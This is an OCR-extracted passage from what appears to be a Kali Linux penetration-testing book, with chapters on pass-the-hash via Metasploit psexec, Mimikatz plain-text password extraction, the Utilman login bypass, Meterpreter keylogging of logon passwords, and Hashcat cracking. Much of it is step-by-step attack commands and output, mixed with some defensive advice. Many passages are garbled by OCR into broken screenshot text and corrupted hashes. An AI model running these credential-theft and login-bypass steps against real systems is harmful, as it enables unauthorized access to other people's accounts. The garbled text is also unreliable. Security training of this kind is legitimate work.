[+] Domain Cached Credentials - MD4({MD4(($pass]).(striclower{$username) )]

Looking up Hashes in Kali
Looking up hashes manually online is interesting, but it would be better just to do it from within Kali.
Well, you can with “Find my hash”.

(Just a note, I really didn’t have any luck recovering LM or NTLM passwords using “Find my
hash”, which I thought was very odd, as one place it seemed to check is the Objectif Sécurite



website.
Not sure what is going on there, but it had no problem with MD5 hashes.)
findmyhash <Encryption> -h hash

. hash not found in stringfunction

Analyzing with 99k.org (http://xanadrel.98k.org)...
. hash not found in

Analyzing with sans (http://lisc.sans.edu)...
nola mundo
L:!II O e e o

he original string is: password

he following hashes were cracked:

Conclusion

In this section we learned that computers do not store passwords in plain text in the system’ s
security database. The password is encrypted in some way and the resulting encrypted hash is
recorded.

We also learned that the Windows LM hash is not very secure and can be cracked very easily by
using a simple lookup table or “Rainbow table” as it is sometimes called.

If the LM hash cannot be found in one of the online databases, then a cracking program is needed.

You can turn off LM hashing, but security researchers have found that many networked systems and
programs still use them (even when turned off!) for backward compatibility.



Chapter 17 — Pass the Hash

Introduction

In the previous section we looked at how insecure Windows LM based passwords can be, but what
about NTLM based Passwords?

Windows systems usually store the NTLM hash right along with LM hash, the NTLM hash being more
secure. And as I mentioned, the LM hash can be turned off (or just use passwords longer than 14
characters). But what a lot of people have asked me is how much longer would it take to access the
user account, if only the NTLM hash was available?

This 1s a great question, and the answer 1s, if certain circumstances are met and a certain technique 1s
used, it could take the same amount of time.

Let me explain, if you can retrieve the LM or NT hashes from a computer, you do not need to crack
them. There 1s really no need. Sometimes you can simply take the hash as-is and use it as a token to
access the system. This technique is called “Pass the Hash”.

The Pass the Hash attack is not new, at the ever popular “BlackHat USA” conference last year there
was a presentation called, “Still Passing the Hash 15 Years Later”. That should give you some idea
how long this attack has been used.

Though some of these attacks no longer work on updated systems. AV and patched Windows systems
are catching some of the mechanisms used and blocking them. And networks set to use NTLM2 or
Kerberos only defeat these kinds of attacks.

Also the Windows User Account Control feature in Windows 7 blocks a lot of pass the hash type
attacks that still work against Windows XP systems. But if UAC is disabled, as we will see later in
this section, it could still work.

But it is still worth a look at some of the Pash the Hash techniques.

Passing the Hash with Psexec
Probably one of the standby methods of passing the hash for years has been the psexec command.

In this tutorial we will start with having an active remote session through Meterpreter.



sessions

Information

- = gatuid
: WIN-LOANLOTDQLUNREL T

As you can see I typed the “sessions” command to view active sessions. There is only one, so |
started an interactive session using the “sessions -i 1"’ command.

I successfully connected with the Windows 7 session and lastly typed “gefuid” to display the active
user who was logged into the system, who in this case was “Ralf”.

Now let’s get system level access so we can dump the hashes. This is done simply by running the
Bypass UAC module discussed earlier in the book, but I will show the steps here:

Good, the user Ralf was an administrator and the Bypass UAC function worked. It also dropped us
automatically into session 2. Now we can just run the “getsystem” command to get system level
credentials:

(STEM

As shown above, using the “getuid”’ command again we verify that we are indeed the user “System”.

Now just type “hashdump’ to recover the system hashes:

-~ = run post/windows/gather/hashdump




This will list the password hints and more importantly, the password hashes:

Administrator:500:aad3b435b51404ecaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089c0:::
Fred:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089c0:::
Alice:1001:aad3b435b51404eeaad3b435b51404ee2e4dbf832a056289935daea328977b20::
Bob:1002:aad3b435b51404ecaad3b435b51404ee:doe0a7e89da72150d1152563f5b89dbe :::
George:1003:aad3b435b51404ecaad3b435b51404ee:317a96a1018609c20b4dccb69718ad6e7:::
Ralf:1004:aad3b435b51404ecaad3b435b51404ee:2e520e 18228ad8ea4060017234af43b2:::

As you can see we have the hashes for all of the users. Let’s see if we can connect to the Windows 7
system as the user Administrator.

We will use the SMB Psexc module to do this.

1. Background the current session and type “use exploit/windows/smb/psexec’:

=1 = background
grounding session 2...

msf exploit( ] = use exploit/windows/smb/psexec
If you want to see the options for this or any exploit remember you can “show options™.

2. Type, “show options”:

1

msf exploit( ) = show options

Module options (exploit/windows/smb/

Name Se Description
RHOST

RPORT 445

SHARE ADMING

re (ADMING,C% .) or a normal

SMEDomain  WORKGROUP no

SMBEPass no e password for t
SMBlUser no e Username to autt

Alright, now we just need to set the IP address for the remote host (RHOST), the user name as
SMPUser and use the hash as SMBPass.

3. Type “set RHOST <TargetIPNumber>" and hit enter.
4. Then type “set SMBUser Alice”:

RHOST 192 .168

SMBUser Alice




Okay we have the target system IP address set, and we have the user Alice selected. We just need to
set the SMB password. This is where the magic starts. Instead of putting in a password, which we
don’t know, we can just use the password hash!

5. Type “set SMBPass” and copy and paste in her password hash, then press enter:

et SMBUsar Alice

ot SMBPass aad3bd35b51404ecaad3bd3tbsl404ee : 2eddbfE3aalsn

(Paste in the entire hash as shown above. Leave out the user ID part of the user account a
“1001:” in this case, and leave off the trailing three “:”’s at the end.)

And the results?

On an updated Windows 7 system with the UAC set to any level other than off, nothing happens! You
get an Access Denied error message and no connection:

».168.198.132:494E8)

This 1s what happens in real life sometimes when testing security. What seems to be an opening just
may not work. So you back up and try something else. In this case we were not able to get a shell with
UAC enabled, but got it without problem with a system with UAC disabled.

Passing the Hash Toolkit
In Kali, the “Passing the Hash (PTH) Toolkit” is a collection of ten utilities that allow you to use



hashes to perform different functions. PTH was fairly recently added to Kali and can be opened from
the menu:

Kali Linux/Password Attacks/Passing the Hash

Or in the file system at /usr/bin/:

:~# find / -name "pth-*"
changeclient

Jusr/

You can use the commands to do some pretty interesting things. We are not going to cover the
command, but many of them may look similar to Windows users.

Just use the help switch (--help) and you will get a help list of command options and uses:

{optional)

(non-interactive)

to specified file

Though it 1s a bit beyond the scope of this book, the author of Pass the Hash Toolkit has some great
write-ups on his site, including one on how to use the Pass the Hash WMIS command and Powershell
to get a remote shell.

(http://passing-the-hash.blogspot.com/2013/07/WMIS-PowerSploit-Shells.html)

As seen below:


http://passing-the-hash.blogspot.com/2013/07/WMIS-PowerSploit-Shells.html

[a]

tituting us LM

And it works very well as you can see a remote session was created with the user (Alice) and
password hash that was provided:

Defending against Pass the Hash Attacks
So what can be done to prevent these types of attacks?

During testing I found that using the built in Windows firewall with the Windows 7 machine was a
hindrance.

[ also found that many pass the hash type attacks would not work at all on Windows 7 if the User
Account Control (UAC) setting was turned on to any level except “/Never Notify:



Always notify

Mever notify me when:

®  Programs try to install software or make changes to
my computer

®* [ make changes to Windows settings

¥ Mot recommended. Choose this only if you need to
use programs that are not certified for Windows 7
I because they do not support User Account Control,

Mewver notify

The utility that many complained about in Windows Vista (and turned off!) actually does improve the
security of your system.

On Windows 7 systems, make sure that UAC is enabled and set to something other than “Never
Notify”.

Additionally, turning off LM and NTLM altogether and enabling NTLMv2 thwarted this attack. This
was accomplished by setting the authentication level to “Send NTLMv2 response only\refuse LM &
NTLM” in the system security policy.

Next, one would wonder about just using Kerberos authentication. From what I saw, there seems to
be no sure fire way to force Kerberos across the board. Also, many devices on a network still create
and use LM/ NTLM hashes for backwards compatibility, so removing them completely from your
network is still a task.



Chapter 18 — Mimikatz Plain Text Passwords

Introduction
In this section we will look at recovering remote passwords in plain text.

You read that right, plain text!

I’ve communicated with Benjamin Delpy (aka Gentil Kiwi), the mastermind behind “Mimikatz”, on a
couple occasions and he seems to be one of the nicest guys in the security community.

I am not going to pretend that I understand exactly how he does what he does, but this master
programmer has found that Windows stores passwords in plain text (!) in several locations in
Windows processes.

And he has found out how, with his programming wizardry, to pull them out.

Mimikatz has been available as a stand-alone program for a while now, and has been added into the
Metasploit Framework as a loadable Meterpreter module, making recovering passwords once you
have a remote session incredibly easy.

And did I mention the passwords are in plain text?

Loading the Module

We will start with an active Windows 7 System level remote shell in Meterpreter.

(See the Chapter on Bypassing UAC to see how to go from an administrator level to system level
account).

eter = getuid
ame: NT AUTHORITYA\SYS

We need to load in the mimikatz module, there is a 32 and 64 bit module, choose accordingly. For
this section we will be using the 32 bit.

1. At the Meterpreter prompt, type “load mimikatz”.

2. Type “help” for a list of available commands:



Mimikatz Comm

Description

tz command

The help 1s pretty self-explanatory; basically type the corresponding command for the creds that you
want to recover.

So for Kerberos just type “kerberos’ at the Meterpreter prompt. Or type “msv” to recover the hashes.

Using these commands you can recover user passwords from multiple system sources - Windows
Login passwords, MS Live passwords, terminal server passwords, etc.

You can also use the “mimikatz-command” to perform even more functions like retrieving stored
credentials. But for now we are just interested in passwords.

Recovering Hashes and Plain Text Passwords
1. Type “msv’:

17234af43b2 }
Llm{ C
7234at43b2 }
Lm{ aad3b#£35b

S9d7eBcO85cO }

NTL
NTLM

And there you go - a list of the password hashes. Well, we could grab the hash and try to crack it, or
run it through an online rainbow table, but what if we don’t have that kind of time?

It would be nice just to get the password in plain text.
Well, if the user has logged into the system, you can.

2. Type “Kerberos”:



ANLOTDOLL
WIN-LOANLOTDOQLLU

If you look at our user Ralf, you will see his password in plain text!

On this system we get pretty much the same results by using the “wdigest” command:

meterpreter =

Though I didn’t use Windows 8 in this example, you also have the “livessp” command. As Benjamin
explained to me one day, many Win8 systems tag a MS Live e-mail account to their login credentials.
With Mimikatz you can get both their login password and their e-mail password with one command.

Though beyond the scope of this book, you can also use “mimikatz-command” to do more advanced
functions, including recovering certificates.

Conclusion
In this section we showed how to recover plain text passwords from a remote system. We did so
using the Metasploit Framework’s Meterpreter and the Mimikatz command.

As you can see trusting in using complex passwords alone as a security measure is not always fool
proof. If an attacker is able to get access to your system, they could possibly obtain your password in
plain text.



Chapter 19 — Mimikatz and Utilman

Introduction
For ages the security field mantra has been, if you have physical access, you have total access. And in
many cases this is true.

I performed onsite server and workstation support throughout upstate New York and Northern
Pennsylvania for about 20 years and have seen companies do some really silly things when it comes
to physical security.

I have been in and out of hundreds of facilities, allowed to roam around completely unsupervised.

At one datacenter that I showed up to repair a server; none of the admins could be found and the
network manager was off site. Not one of them answered their pages or cell phone calls. So the
receptionist did the only logical thing, she ushered me into their server room and left me there,
completely unsupervised for about an hour until someone showed up...

One time I saw a major company prop their secure server room door open with cabling boxes and
leave it unsupervised while they took their hour lunch.

I have a friend who is a retired Special Forces operator, and he told me once that if you are armed
with a tie and a clipboard, no one will stop you. And he was right. Out of my 20 years of doing onsite
server and IT support involving banks, government facilities, research centers and large corporations,
once inside the building, I was stopped and asked for ID only three times!

Physical security is very important. In this section we will look at one possible Windows physical
attack using a Kali Live CD, the “Utilman Login Bypass” and the very powerful password revealing
program “Mimikatz”.

Utilman Login Bypass

Okay this technique is really old, and not technically an attack. It originated from an old Microsoft
Technet Active Directory support forum message. This technique, called the * UtilmanBypass ™,
was one recommended technique to log into a Windows server in case you forgot the password.

The Utilman bypass works by manipulating a helpful windows function that is available at the login
prompt. It allows a system level command session to open without using credentials.

I have friends who support large networks that tell me that they still use this technique for legitimate
purposes. For example when older corporate stand-alone systems need to be backed up and re-
purposed and no one can remember the system password, they will use this technique.

To perform this procedure you need a (Kali) Linux boot disk. We will boot from the disk and change
the Windows “Utilman™ program, so when the “Windows” + “U” keys are pressed, a command
prompt will open instead of the normal utility menu.



For this example [ used a Windows 7 Pro system.

ik Warning *** If you do something wrong in this
procedure you could render your Windows system
unbootable. Ye have been warned.

1. Ona Windows system, boot from a Kali Linux Live CD:

LA OIS

Boot menu

Live (b8b » failsafe)
Live (forensic mode)
Install

Graphical install
Advanced options

Press ENTER to boot or TAB to edit a menu entry

2. After a while the Kali Desktop will appear. Click “Places” and then select your local hard
drive that will show up as “xx GB Filesystem”:

“E' Home Folder
B8 Desktop

% Computer

—d 43 GB Filesystem

Open this and your Windows File system will show up:



- r —

Boot Documents and Ferflogs
Settings
ProagramData Program Files Recovery
*Recycle.Bin System Volume Users
Imformaticn
Windows autoexec, bat I‘.--::-||r|1'-L'|'

(NOTE: If the hard drive is not encrypted, you have complete access to the Windows file system at
this point)

3. Now navigate to the “Windows\System32” directory:

| 43 GB Filesystem Windows = - =

Ll
|t

What we are going to do now is to rename the original Utilman.exe out of the way, make a duplicate
copy of cmd.exe and rename it to Utilman.exe.

4. Find the “utilman.exe” file and rename it to “utilman.old’:

=

 Utitmanold
5. Right click on the “cmd.exe” file and click “copy”, now past it back right into the same

directory and you should now have both “cmd.exe” and a file called “cmd (copy).exe”, like
S0:

4l

I_|

cmd.exe  cmd (copy).exe
6. Now rename the “cmd (copy).exe” file to say “Utilman.exe”.

a
[ =

| Ut|l_rn;'|l exe

You should now have two utilman files, a utilman.old (which is the original) and the utilman.exe file
(which is the copy of cmd.exe):



L 4

Utilman.exe Ltilman.old

That’s it! We keep the Utilman.old file in case we want to switch it back and restore normal Utilman
functionality.

7. Now just shutdown Kali and let the Windows system boot up normally.

8. At the login screen press the “Windows” and “u” key together. And up pops a system level
command prompt!

el —
= ..-I t_:_- I
t find nessas LT |

i in the message Fil

- RAll pights reservoed.
HCESTE T1|i'. |:|'||||.-||||_1.

If you type “whoami” you will see that you are in fact the user “nt authority\system”, the highest
level access that is available. Notice the login icons are still in the background.

From here you can do anything you want, you have complete access.

This works in all versions of Microsoft Windows OS’s from Windows 9x on up. It also works in
their Server products. Here is a login screen for Server 2012 R2 Datacenter. Notice the “Press
Control-Alt-Delete to sign in” message, and notice the command prompt open with System level

rights:



Press Ctri+ARlt+Delete to sign in

12:08

Friday, August 9

&

Modifying the “Sethc.exe” command in the same way also allows you to bypass the Windows login
screen. The “sethc” file is for the Windows Sticky Keys function. Under normal operation, if you hit
the Shift key 5 times in a row, the sticky key dialog box will pop up.

Used this way, just hit the shift key five times at the login screen and the system level command
prompt opens.

***Note to admins — Physical access for the most part equals total access. Encrypt your drives and
secure your systems!

Recovering password from a Locked Workstation

Moving forward with this concept, how cool would it be for a penetration tester (if you had physical
access to a system) to be able to grab the passwords off of a Windows system that was sitting at a
locked login prompt? And what if you could get these passwords in plain text?

Well, you can!

A while back I was wondering, what if you were a penetration tester that had physical access to a
system, would it be possible to get passwords off of a locked Desktop? You know, a user is using the
system and dutifully locks his workstation before leaving for lunch.

If you have physical access to the system, this can be done.

First you need to be able to enable the system level command prompt from the login screen.
Discussed above, the “Utilman Login Bypass™ trick enables a pop-up system level prompt by just
pressing the “Windows” and “u” key on the keyboard.

Now all we need 1s a USB drive with Mimikatz installed. This can be downloaded from Gentle



Kiwi’s blog:
http://blog.gentilkiwi.com/mimikatz

1. Again you need to have already installed the “Utilman Bypass” from above at an earlier point
in time.

2. Atthe locked desktop Windows desktop press “windows” & “u’ keys.

BN Administrator: CAWindows)system3 2\ utilman. exe

Nicrosoft W z [Uerzion b.1.7601]
H right € A? Microsoft Corporation. All rights reserved.

sindindows s

C:\Windows\system32>whoami
nt authoritys:

E:»> dir mimikatz
Uolume in drive E has no lahbel.
Uolume Serial Mumber is GC4E3-F877

Directory of E:smimikatz

BZ2:56 PH <DIR> .
B2:5%6 PHM <DIR> o
B6:25% PH <DIR> Win32
B6:25 PH <DIR> x64
B6:54 <DIR> alpha
@7:24 <DIR> tools
B Fileds> B hytes
6 Dirisl 3.564.453.888 bytes free

5. CD into your mimikatz directory and pick the Win32 or x64 bit version, depending on your


http://blog.gentilkiwi.com/mimikatz

target Operating System.

E:s>»cd mimikatz
E:~Mimikatz>cd win32
E:~Mimikatz~Win32>dir

Uolume in drive E has no lahel.
Uolume Serial Mumber is C4E3-F877

Directory of E:xMimikatzsWin32

A? - 212813 @2:55 <DIR> 2
A% 212813 @2:55 <DIR> e
Ag-17-2013 BA6:25 40,512 kappfree.dll
Ag - 172813 B6:25 28.880 kelloworld.dll
Ag-17-2813 BA6:25 138,816 klock.dll
Ag - 172813 B6:25 409,152 mimikatz.exe
Ag 172013 B6:25 25,848 mimikatz=.sys
Ag- 172813 B6:25 183,872 sekurlsa.dll

6 File<s> 896,280 hytes

2 Dir<s> 3.564,.453.888 bytes free

sMimikatzsWind2 >

6. Once in the right Mimikatz directory, run “mimikatz”.

s MimikatzAWin32 dmimikat=
imikatz 1.8 x86 <RC>» A% Traitement du Kiwi <Aug 18 2813 88:23:5
' http:s7blog.gentilkivi.comnnimikatz

imikat= #
Yes, everything is in French, but you will be okay, trust me.

7. Type “sekurlsa::logonPasswords” or “sekurlsa::logonPasswords full’

nimikatz # sekurlsa::logonPasswords.

Additional Information:

Now you may need to go to the Properties menu for
the command prompt window and increase the
windows size if the data scrolls off the page and you
can’t see it. In this example I had to set the windows
height to 80.




BN "ChAWindows\system32utilman.exe” Properties

: O_ptiﬁns Fort Layout ”Cnlnrs:

Window Preview

Screen Buffer Size

Width: %
Height: a0
Window Size

Width: a0 %

Height: 45
Window Position

Left:

Top:

| Let system position window

And as you can see it worked:
BadBeadBoON] }'"—:Jﬂ.rjru 3b2 } _ _ e
oS HLongPasswordsAreTheWavToGo!

HLnnuF‘Frw”rd ﬂrrThnHayTﬂGﬁ!
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tspkg : $eCuRBdECCounTl

Authentification Id - B:940807
Package d’ authentification : NTLM

Utilisateur principal - George
Domaine d’authentification : WIN-LOANLOTDQLU

msvl B Im{ O00OOROOOBOBROBORBRORADAIL
8609c20bbcch69718adbe? )

kerberos : $eCuRBdECCounl]
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e d authentification : NTLM
teur principal © Bob
Domaine d’authentification : WIN-LOANLOTDOQLU
msyl B - Im{ 19903e9a9fd0719b56F28ce "
r:.'150|11525u]‘rhﬂih:3 ]
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Several users have logged onto our test PC and we can view all their user names, their password
hashes and their actual passwords in plain clear text!

As I mentioned earlier, you would need to have physical access to the machine, especially to set up
the initial Utilman Login Bypass. And you need to run Mimikatz, which I just downloaded and put on
a USB drive for convenience.

And someone had to have logged onto the system since it booted. If no-one has logged onto the system
yet, there are no passwords in memory for Mimikatz to pull.

Conclusion
In this section we learned how to boot from a Kali Live CD and view the contents of a Windows file
system. If we drive isn’t encrypted we could easily pull user documents and files from it.

We also learned how to set up the Utilman Bypass to log into Windows without the password. Finally
we learned how to use Mimikatz to grab a user’s password in plain text.

As a couple of my friends that do pentesting for the government have said, physical access equals
total access. Shut down your system if you will be away for extended times, and install a Power on
Password to protect the boot process from being tampered with. Use an encrypting file system that
encrypts the entire drive.

Secure physical access to important machines. Also turn off or disable DVD/CD ROM drives and
USB ports if not needed. Some organizations even go to the extent of filling USB ports with glue!



Chapter 20 - Keyscan and Lockout Keylogger

Introduction

Sometimes a penetration tester may have remote access to a user’s machine, but he may not have the
user’s password. Maybe the user has a very long complex password that would just take too long to
crack. What could he do?

Meterpreter in the Metasploit Framework has a great utility for capturing keys pressed on a target
machine. We will start with a system that we have already run an exploit on and were successful in
creating a remote session with Metasploit. We connected to the session with the session command
and are now sitting at a Meterpreter prompt.

Key logging with Meterpreter

We will start with a system that we have already run an exploit on and were successful in creating a
remote session with Metasploit. We connected to the session with the “session -i <ID#>" command
and are now sitting at a Meterpreter prompt.

AUTHORITY\SYSTEM

If we type “help” at the Meterpreter prompt we will be given a list of commands that we can run. For
this section we are concerned with just the “keyscan” commands:

So let’s go ahead and see what it looks like when we start a remote keylogger, then we will view the
captured key strokes.

1. Simply type “keyscan_start”’ to start the remote logging.

sniffer...

2. Now we just need to wait until our victim types some things on the keyboard. For our
example, go ahead and open your Windows 7 browser and perform a search in Google.

3. Now back on the Kali system, to see what was typed simply enter “keyscan_dump’:

B again this year? <Return=

Here you can see from this demo that our target user went to “google.com” and searched for “will
Dallas go 8 and 8 again this year?”



Well, obviously our user is a Dallas Cowboys football fan. Let’s try one more thing. What happens if
the user uses special keys like the Windows key? What if the user used the “Windows” + “1” key to
lock his keyboard, and then use his password to get back in?

Go ahead and try it. Lock your Windows system with the “Windows” and “L” key. Then log back in
with the password.

Now back on the Kali system type keyscan dump to see what we have:

<LWin= 1
meterprefer :

Okay, it correctly recorded that I pressed the “<LWin>" or left windows key and the “L” key. But I
logged back in with a password, where is the password?

It wasn’t recorded!

The problem is in the way Windows security works. Simply put, the active session (desktop) and
winlogon (Login process) use different keyboard buffers. If you are sniffing the active session, you
cannot capture keys entered for a login, or vice versa.

You need to move your key logger to the session that you want to monitor. So in this case, simply
migrating our Meterpreter shell to the winlogon process puts us in the correct mode to look for
passwords.

Then start keyscan again.

4. Type “ps” in Meterpreter to get a process list. Look for the PID of the process “winlogon”.

srpreter :

PPID Name

As you can see in the image above winlogon.exe has the process ID number 432. We need to migrate
our Meterpreter session to that ID.
5. Type “migrate <winlogin PID#>" or in our case here “migrate 432”.

432
q om 8 to 432

ration completed successfully.

(Note: If you get an “insufficient privileges” error, you will need to run the Bypass UAC module and
elevate your level to “system”. See the “Bypass UAC” section in this book for more information.)



6. Now go ahead and start the keyscan again, lock the Windows 7 workstation and log back in.
Then dump the keylog to view the user password:

In the picture above, notice the “Windows” + “L” keystroke to lock the desktop does not show up.
This is because we are now monitoring the winlogon session key buffer, so it is not displayed. But
we have the password.

So in essence, because our target needed another cup of coffee to get through his busy day of web
surfing, he locked his desktop and then logged in again. When he did we were able to grab his full 28
character password.

Automating KeyScanning with Lockout Keylogger
Now, what would be great is if we could automate this process. I mean do you really want to just sit
there and hang out until the user leaves his system?

You could force his desktop into locked mode and make him log in again, but that is pretty suspicious.

What if you could have Meterpreter automatically find and migrate to the winlogon process, then scan
the computer idle time and automatically put the user’s system into locked mode?

Finally, what would be really nice too is if the script notified you when the user logs back in and
gives you a text dump of his password.

Meet “Lockout Keylogger”, an amazing script made by CG and Mubix.

1. Youneed to start with an active remote session with “system” level privileges.

AUTHORITYMSY

2. Now just type, “background’ to back out to the session and return to the Meterpreter prompt.
3. Type, “use post/windows/capture/lockout_keylogger”.

4. Set the session number to our active session (3 in our example), so “set session 3.

5

Then type “exploit”:



fcapture/lockout keylogger

Found WINLC
Mlqrutluq

Iockout_Keylogger automatlcally finds the Winlogon process and migrates to it. The program then
begins to monitor the remote system idle time.

At about 300 seconds of idle time, Lockout Keylogger tries to lock the user’s desktop remotely.

Sometimes it fails and tries locking it again:

gs/scripts/smartlocker/192 168,15

Okay, lockout has successfully locked the workstation, and begins looking for keystrokes.

If our user returns and enters his password to unlock the system, we get it:

d was probably right.

Got 1t!
Well, almost...

It seems that the last two characters were cut off on the recovered password. Not sure if that is a
password length buffer limit in the program or something else. But for a program that was written a
few years ago, it still seems to work very well.

Conclusion

In this section we demonstrated how to use Metasploit in Kali to capture key strokes from a remote
system. We also learned that login passwords will not be recorded normally in a keystroke password
as the Windows Logon service uses a different keyboard buffer. But if we move our keylogger to that
process we can indeed capture logon credentials.

We were also introduced to a handy program that migrates out session to the Winlogon process,
watches the idle time of the system, then locks it and captures the password when the user tries to log
back in.



Lockout Keylogger automates the entire process from beginning to end. The user walks away from
his PC, the script waits a certain amount of idle time and then puts the computer into locked mode.
Then, when he logs back in, it is already set to scan the keys pressed.

The password could be a simple password or a complex monster, it does not matter.
Lockout Keylogger intercepts it and displays it in plain text on the penetration tester’s machine.



Chapter 21 - HashCat

Resources
® Hashcat Wiki - http://hashcat.net/wiki/

® [nstalling video drivers for your card - http://docs.kali.org/general-use/install-nvidia-
drivers-on-kali-linux

® Wordlists - See Wordlist Chapter

Introduction

So far we have covered several techniques for attacking passwords. We saw that sometimes you can
just do a rainbow table lookup, and in some cases you can pass the hash. But if all else fails, you have
to crack the hash.

Kali includes several excellent programs to do this. In this section we will look at one of my
favorites, Hashcat.

We rely on passwords to secure our home systems, business servers and to protect our online account
information. But as cracking programs improve and video cards get faster (Video GPU’s are used for
very fast cracking) passwords are becoming much easier to crack.

How big of a problem is this?

Not too long ago I tried out OCL-Hashcat with my Windows 7 system that had a Core I-5 750
processor running at 2.67 Ghz and a single AMD Radeon 7870 video card. I used a fairly recently
released password hash file that contained over 7,000 user hashes. I chose this one due to the size.
Yes much larger ones are out there, but I thought the size corresponded more realistically to an
average company that a pentester or incident response team would be dealing with. Besides, how
many American businesses have a million or more employees?

With OCL-Hashcat and two different dictionary files, I was able to crack 86% of it... In 30
minutes. ..

If that doesn’t sound impressive, OCL-Hashcat took just 12 seconds to recover 46% of them, and
about 13 minutes to recover 66%.

Think about that for a moment, 46% of the seven thousand passwords were cracked in 12 seconds.

Now, take a minute and think about your company password length and complexity policy. Long,
complex passwords can take an exponentially longer time to crack, unless the password is already in
a dictionary file.

Hashcat

Hashcat is an all-purpose password cracker that can run off of your graphics card processor (GPU)
or your CPU. The GPU version, OCLHashcat-plus (or CUDAhashcat-plus depending on your video


http://hashcat.net/wiki/
http://docs.kali.org/general-use/install-nvidia-drivers-on-kali-linux

card) is touted as the world’s fastest md5crypt, phpass, mscash2 and WPA / WPA2 cracker.

Hashcat is a multi-threaded cracker, so if your CPU can run several threads, it will use them. But the
real speed comes into play when using the horsepower of a GPU, the processor on your video card. It
your GPU can run hundreds of threads, all of this power is used to break passwords.

You can even harness the power of multiple video card GPUs to create a monster cracking station.

Cracking NTLM passwords

There is nothing like hands on practice, so let’s crack some hashes.

Here are some €asy ones:

a4149¢406510bdcab6824ee7c¢30fd852
2e4dbf83aa056289935daea328977b20
d144986¢6122b1b1654ba39932465528
4a8441c8b2b55ee3ef6465¢c83f01aa7b
259745cb123a52aa2e693aaacca2db52
d5e2155516£1d7228302b90afd3cd539
5835048ce94ad0564e€29a924a03510ef
b963¢c57010f218edc2cc3c229b5e4d0f
f773c5db7ddebefadb0dae7eec8cS50aeca
5d05e3883afc84f1842f8b1c6d895fa4
6afd63afaebf74211010f02ba62alb3e
43fccfabbae3d14b26427¢26d00410ef
27c0555ea55¢ecfcdba01c022681dda3f
9439b1421202437a55f7c52f6fcf82d3

Simply put these hashes in a text file. In my example I saved them as “Easyhash.txt” and placed them
in the Desktop directory. I also copied the “RockYou.txt” password dictionary file from the
“/usr/share/wordlists” directory to the desktop.

(Remember the RockYou.txt file is compressed, so if you haven't done so already, you will need to
uncompress it using the “gunzip” command. See the Wordlists chapter for more information.)

We are going to run Hashcat, but we need to tell it a few things. We need to tell it what type of hashes
we are using, the name of the hash file, the name of the dictionary file and finally the output filename
to store the cracked hashes.

You can see the different options by opening a terminal window and typing “hashcat --help”.
Let’s go ahead and try to crack the simple hashes listed above.

1. Open a terminal prompt, navigate to the Desktop directory and type, “hashcat -m 1000
Easyhash.txt rockyou.txt -o cracked.txt”

;~# hashcat -m 1000 Easyhash.txt rockyou.txt -0 cracked.tx



The “—m 1000” switch tells hashcat that our hashes are NTLM based hashes. Easyhash.txt is
the name of our hash file. Rockyou.txt is the name of our dictionary file and —o cracked.txt
tells hashcat where to store the cracked hashes.

2. And injust over a second you should see this:

:~/Desktop# hashcat -m 1000 E
Initializing hashcat v0.44 by atom with

Added hashes from file Easyhash.txt: 13 (1 salts)

ress anter for status-screen

:PE$Fword

And there you go, 13 passwords cracked in about a second and a half. Take a good look at the
passwords as coincidently many of these were the top passwords cracked in 2012. Using any of these
would not stand up to a password cracker for more than a fraction of a second.

Cracking harder passwords
Let’s look at some harder passwords with Hashcat.

We will use the passwords that we recovered earlier in the Password chapter using the hashdump
command.

31d6¢cfe0d16ae931b73¢59d7e0c089¢c0
2e4dbf83aa056289935daea328977b20
d6e0a7e89da72150d115256315b89dbe
317a96a1018609¢20b4ccb69718ad6e7
2e520e18228ad8e¢a4060017234af43b2

Again, let’s save these to a text file, this time called hash.txt, and put it in the Desktop directory.
And using the same dictionary file, let’s try to crack them.



1. Open a terminal, navigate to the Desktop directory and type, “hashcat -m 1000 hash.txt
rockyou.txt -o hardcracked.txt”.

hashcat -m 1000 hash.txt rockyou.txt -o hardcracked.txt

Everything on the line is the same as before, except we changed the hash name to the new
hash.txt and changed the output filename to hardcracked.txt.

2. And ina few seconds we see the screen below:

995 (words), 5720149 (bytes)

Okay, this time it ran for 4 seconds, but if you notice, it only was able to recover 2 of the 5
hashes.

3. If we run the cat command on the hardcracked.txt it verifies that there are only two that were
actually cracked:

F" IEI $ $'|,-'~|' or |jj

Only two out of five, that is not very helpful. Let’s try a larger dictionary file.

Using a Larger Dictionary File

If first you don’t succeed, try a larger dictionary!

Crackstation (https.//crackstation.net/buy-crackstation-wordlist-password-cracking-
dictionary.htm) has a massive 15GB dictionary file that works very well.

I downloaded the 4GB compressed file, uncompressed it and put it in a directory with our hash file. I
then ran the hashcat file using the Crackstation wordlist:

:~fLrack# hashcat -m 1880 hash.txt crackstation.txt -o crac

Nothing really new to this command line, but I did add the “--remove” switch. It is not really
necessary on such a small hash list, but on large lists, once a hash is cracked, it is removed from the
list to increase cracking time.

And the results:


https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm

Inpuf Mode: Dict (c 'TaTluﬂ qu

73 (words), 23198376 |

T, 1|1+b# I

This took a little bit longer, about 11 minutes. But it looks like it was able to recover an additional
hash.

Let’s see what it was:

MamelsBob

AT el i

Okay, it got the one with an empty password, the “P@$$word” one and one new one —
“MyNamelsBob”.

The two remaining passwords would be fairly difficult to crack. One is 15 characters long and uses
special characters, upper and lower case letters and a number ($eCuR@d@CCountl) and the last one
1s very long, almost 30 characters.

More advanced cracking

Just throwing a dictionary file at a hash list will recover some of the easier passwords, but to get the
harder ones you need to you more advanced techniques. I will not cover them in detail, but Hashcat
allows you to use multiple attack types:

e Multiple Wordlists

e Rule Sets

e And Password Masks.
Attack Types: The “-a” option allows you to designate the type of attack you want to use from the
following options:

0 = Straight

1 = Combination
2 =Toggle-Case
3 = Brute-force

4 = Permutation

5 = Table-Lookup

Most are self-explanatory. Combination attacks allow you to combine words from dictionaries to
create new words on the fly.



Rule based attacks are very useful. Hashcat has a list of built in rules that you can use to crack
passwords. For example there is a “leet” rule set that automatically takes each dictionary word and
tries different leet-speak versions of the word. You can even use a programming type language to
create your own rulesets.

Rule based attacks are enabled by using the “-r” switch and including a name of the ruleset you want.
Best64.rule, passwordspro.rule, d3adOne.rule, and leetspeak.rule are some of the more popular ones.

Something like:

Crack# hashcat -m 1008 hash.txt rockyou.txt -r leetspeak.rule -o cre

Mask attacks allow you to define the layout of the words that will be used in your attack. For
